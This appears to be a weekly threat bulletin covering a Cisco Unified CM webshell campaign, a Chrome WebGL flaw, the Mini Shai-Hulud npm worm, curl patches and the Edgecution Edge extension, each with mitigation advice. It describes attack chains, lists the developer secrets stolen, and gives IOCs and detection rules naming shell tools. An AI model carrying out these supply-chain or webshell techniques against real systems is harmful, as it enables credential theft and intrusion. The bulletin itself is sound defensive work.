Weekly Threat Bulletin – July 1st, 2026

Cisco Unified CM Flaw Actively Exploited to Drop Webshells (CVE-2026-20230)

CVE-2026-20230, a server-side request forgery (SSRF) vulnerability in Cisco Unified Communications Manager (Unified CM), is actively being exploited to deploy webshells and achieve remote code execution. Threat intelligence firm Defused observed automated attacks originating from Tor, which leverage the WebDialer SSRF to install a rogue Apache Axis service. This service then writes a first-stage JSP file-writer, subsequently dropping a second-stage command-execution shell under `/platform-services/axis2-web/`. The vulnerability stems from improper input validation for specific HTTP requests, allowing unauthenticated, remote attackers to send specially crafted requests to write files to the underlying operating system, potentially leading to root privilege escalation. Cisco released patches for this flaw on June 3, 2026, acknowledging a proof-of-concept (PoC) exploit, which has since become public. Organizations unable to upgrade are advised to mitigate the risk by disabling the vulnerable WebDialer service.

Severity: Critical

Threat Details and IOCs

Mitigation Advice

• Identify all Cisco Unified Communications Manager (Unified CM) and Unified CM Session Management Edition instances and immediately upgrade them to a patched version as specified in the Cisco security advisory for CVE-2026-20230.
• If patching of Cisco Unified CM cannot be performed immediately, disable the WebDialer service on all vulnerable instances to remove the attack surface for CVE-2026-20230.
• On all Cisco Unified CM servers, immediately scan the filesystem for new or unexpected files in the `/platform-services/axis2-web/` directory, as this is a known indicator of compromise for CVE-2026-20230.
• Update firewall or web application firewall (WAF) rules to block or alert on all inbound traffic from known Tor exit nodes to your public-facing Cisco Unified CM instances.

Compliance Best Practices

• Establish a formal vulnerability management program that includes a complete asset inventory, regular scanning, and defined service-level agreements (SLAs) for patching critical systems like Cisco Unified CM.
• Implement network segmentation to isolate critical voice and communication infrastructure, such as Cisco Unified CM, from general user and server networks, allowing only necessary and strictly-controlled traffic to and from these systems.
• Implement a system hardening policy based on the principle of least functionality, ensuring all non-essential services, such as the WebDialer service on Cisco Unified CM, are disabled by default during server deployment and audited regularly.
• Deploy a File Integrity Monitoring (FIM) solution on critical servers, including Cisco Unified CM, and configure it to alert on any file changes in application and system directories.
• Implement a policy of default-deny egress traffic filtering for critical servers, including Cisco Unified CM, allowing only outbound connections to known, approved destinations over expected ports and protocols.

CVE-2026-13028: Critical Use-After-Free in Google Chrome WebGL Allows RCE

A critical use-after-free vulnerability, identified as CVE-2026-13028 with a CVSS v3.1 score of 9.6, exists within the WebGL component of Google Chrome. This flaw allows for remote arbitrary code execution and, specifically on Android, a sandbox escape, due to improper memory object lifecycle management. An attacker can exploit this by enticing a user to visit a specially crafted HTML page, requiring only simple user interaction and no prior authentication or elevated privileges. The attack complexity is low, and the vulnerability can lead to privileged access. Affected Google Chrome versions include those prior to 149.0.7827.197 on Windows and macOS, prior to 149.0.7827.196 on Linux, and prior to 149.0.7827.197 on Android. A patch is available, and users are advised to update to Google Chrome version 149.0.7827.197 or higher for Windows, macOS, and Android, and version 149.0.7827.196 or higher for Linux. While a patch exists, no workaround is available, and there is currently no public proof of concept or active exploitation.

Severity: Critical

Threat Details and IOCs

Mitigation Advice

• Update all Google Chrome installations on Windows and macOS endpoints to version 149.0.7827.197 or later.
• Update all Google Chrome installations on Linux endpoints to version 149.0.7827.196 or later.
• Enforce an update for the Google Chrome application on all company-managed Android devices to version 149.0.7827.197 or later using your Mobile Device Management (MDM) solution.
• Run a scan with your asset inventory or vulnerability management tool to verify that all Google Chrome instances on Windows, macOS, Linux, and Android are at or above the patched versions listed in the advisory.

Compliance Best Practices

• Implement and configure an automated patch management policy for third-party applications, especially web browsers, to ensure critical security updates are deployed across all endpoints within 48-72 hours of release.
• Deploy a DNS filtering or secure web gateway solution to block access to known malicious, uncategorized, and newly registered domains to reduce the risk of users accessing malicious web content.
• Deploy and tune an Endpoint Detection and Response (EDR) solution to monitor for and alert on anomalous behaviors originating from browser processes, such as spawning a command shell, unexpected network connections, or file modification.
• Develop and maintain a continuous security awareness training program that educates users on the dangers of clicking unsolicited links and how to report suspicious websites and emails.

Mini Shai-Hulud Worm Poisons LeoPlatform npm Packages to Steal Developer and CI/CD Secrets

A recent supply-chain attack, attributed to the Mini Shai-Hulud, Miasma, and Hades malware families, is actively poisoning npm packages within the LeoPlatform and RStreams ecosystems, extending its reach to source-repository compromises. This intrusion employs registry poisoning, install-time execution via the "Phantom Gyp" pattern using `binding.gyp` for arbitrary code execution, Bun-staged JavaScript loaders to bypass Node security hooks, and GitHub Actions abuse to steal runner-scoped secrets and inject malicious workflows. The malware targets a broad array of developer and CI/CD secrets, including `.env` files, npm and PyPI tokens, GitHub tokens, cloud provider credentials (AWS, Azure, GCP), Docker and Kubernetes configurations, SSH keys, Vault data, CI secrets, IDE and AI-agent configurations, Slack and Twilio tokens, and shell histories, while also probing for EDR and endpoint tooling and using locale guards for evasion. Collected secrets are encrypted and exfiltrated via GitHub API behaviors, utilizing a "dead-drop" approach where commit messages or repository content serve as retrieval channels. The campaign also weaponizes developer workflows and IDE triggers, such as dropping payloads in `.claude` folders and invoking them via VS Code folder-open tasks, to achieve delayed, developer-initiated execution. Mitigation requires treating any environment with affected versions as compromised, preserving forensics, identifying all developer machines and CI runners, removing and rebuilding from known-good lockfiles, rotating all exposed credentials from a clean host, and auditing repositories for injected workflows, AI assistant hooks, specific payload files like `.github/setup.js` or ``_index.js`,` orphan branches, and unexpected Bun usage. Specific indicators of compromise, including SHA-256 hashes for malicious `binding.gyp`, `index.js`, `package.json` files, and npm tarballs, have been identified.

Severity: Critical

Threat Details and IOCs

Mitigation Advice

• Scan all developer workstations and CI/CD runners for files matching the SHA-256 hashes provided in the article, including '32d1bc728d8e504952083a6adc488c309a401c7df4dc8f47b382ce32e4aebe21' for 'binding.gyp'.
• Immediately initiate a rotation of all developer and CI/CD secrets, including credentials for GitHub, npm, AWS, Azure, GCP, SSH keys, and any other secrets stored in .env files or CI/CD environments.
• Audit all project `package-lock.json`, `yarn.lock`, and other lockfiles to identify any dependencies on the malicious npm packages listed in the article, such as those in the LeoPlatform and RStreams ecosystems.
• Audit all source code repositories for suspicious artifacts, including unexpected branches named 'snapshot-*', malicious GitHub Actions workflows (especially those named 'Run Copilot'), and unexpected files like `_index.js` or `.github/setup.js`.
• Scan developer workstations for malicious IDE and AI-assistant hooks, specifically looking for executable scripts within `.claude`, `.cursor`, `.gemini`, or `.vscode` directories inside project folders.

Compliance Best Practices

• Implement a supply chain security tool (e.g., Socket, Snyk) to automatically scan all third-party dependencies for malicious indicators, such as unexpected install scripts in `binding.gyp` files, before they are added to projects.
• Configure process execution monitoring on CI/CD runners and developer endpoints to create alerts for anomalous behavior, such as a package manager process (e.g., npm, yarn) spawning an unexpected runtime (e.g., bun) or network utility (e.g., curl).
• Establish and enforce a security policy for CI/CD pipelines that prohibits the use of high-risk GitHub Actions triggers like `pull_request_target` with code checkouts from pull requests, and mandates the principle of least privilege for all workflow tokens.
• Tune Endpoint Detection and Response (EDR) policies to specifically detect and alert on suspicious process chains originating from package managers and build tools, such as `npm` or `node-gyp` executing shell commands or downloading files.
• Establish a corporate policy that restricts the installation and execution of non-standard JavaScript runtimes, such as Bun, on developer workstations and CI/CD runners unless there is a documented business justification.
• Develop and implement a recurring security awareness training program for developers focused on supply chain attack vectors, including how to vet third-party packages and identify suspicious repository files and configurations.

Curl Patches 18 Vulnerabilities, Including 25-Year-Old Authentication Bypass Flaw (CVE-2026-8932)

The open source data transfer tool and library curl has been updated with patches for 18 vulnerabilities, including four medium and 14 low-severity issues, marking the highest number of CVEs resolved in a single update. Among these is CVE-2026-8932, an mTLS connection reuse flaw introduced 25 years ago in version 7.7 (March 22, 2001), which can lead to authentication bypass in libcurl applications by allowing connection reuse despite changes in client certificate or private key settings. Other resolved vulnerabilities include credential confusion (CVE-2026-8926), double-free (CVE-2026-8925), use-after-free (CVE-2026-9080 and CVE-2026-10536), and improper host validation (CVE-2026-9547). These flaws were identified through a community effort, underscoring the challenge of discovering security issues in curl, a tool utilized by over 30 billion devices for data transfer, though no public reports of in-the-wild exploitation have been confirmed.

Severity: Critical

Threat Details and IOCs

Mitigation Advice

• Use vulnerability scanners and software inventory tools to identify all assets running vulnerable versions of curl and libcurl.
• Prioritize and apply the patch to update curl and libcurl to the latest secure version on all affected systems, focusing first on internet-facing and business-critical applications.

Compliance Best Practices

• Implement a process to generate and maintain a Software Bill of Materials (SBOM) for all critical and in-house developed applications to improve visibility into underlying software components.
• Implement or mature an automated patch management system for operating systems and common third-party applications to ensure timely deployment of security updates.
• Review and enhance network segmentation controls to limit lateral movement between systems and services, reducing the potential impact of a compromised application.

Malicious Edge Extension Abuses Native Messaging as Bridge to Malware

A malicious Microsoft Edge extension, dubbed 'Edgecution,' has been observed in ransomware attacks, specifically by an Initial Access Broker associated with the Payouts Kings operation. This extension exploits the Chrome Native Messaging protocol to bypass the browser sandbox and deploy a Python-based backdoor on compromised systems. The attack typically initiates through social engineering, where threat actors impersonate IT support on Microsoft Teams, directing victims to fraudulent "update" pages. These pages prompt the download of malicious scripts (via AutoHotKey, batch, or PowerShell) that configure the environment, extract malware components from a malformed ZIP archive, and establish persistence through scheduled tasks and native messaging manifests. The 'Edgecution' extension, disguised as an 'Edge Monitoring Agent,' operates in a headless browser, communicating with a command-and-control server and relaying instructions to the Python backdoor. This backdoor is capable of executing shell commands, PowerShell, arbitrary Python code, writing files, and gathering system information. To counter this evolving threat, organizations should strengthen monitoring of browser extensions and enforce stringent controls over native messaging host configurations. Indicators of Compromise, including C2 servers and malware hashes, have been identified.

Severity: Critical

Threat Details and IOCs

Mitigation Advice

• Add the file hashes and command-and-control server domains associated with the Edgecution malware to your EDR, proxy, and firewall blocklists.
• Create and run a threat hunting query in your SIEM or EDR to search for new scheduled tasks that launch Microsoft Edge, particularly with the '--headless=new' command-line argument.
• Scan network traffic logs and endpoint file systems for ZIP files with malformed headers, and investigate any associated download events from un-trusted websites.

Compliance Best Practices

• Use Group Policy (GPO) or a Mobile Device Management (MDM) solution to prevent users from installing browser extensions; create and enforce an allowlist of approved extensions required for business functions.
• Configure Microsoft Edge and Google Chrome browser policies to block all Native Messaging hosts by default, and establish a formal review process to approve and allowlist only legitimate applications.
• Implement a recurring security awareness training program that specifically educates employees on how to identify and report social engineering attempts on collaboration platforms like Microsoft Teams, and how to verify the legitimacy of IT support requests through a separate, trusted channel.
• Deploy an application control solution, such as Windows Defender Application Control (WDAC) or AppLocker, to restrict the execution of scripting engines like PowerShell, AutoHotKey, and Python to only authorized users or signed scripts.
• Tune your EDR and SIEM detection rules to generate high-priority alerts when a browser process (e.g., msedge.exe) spawns command-line interpreters (cmd.exe, powershell.exe) or performs sensitive system discovery actions.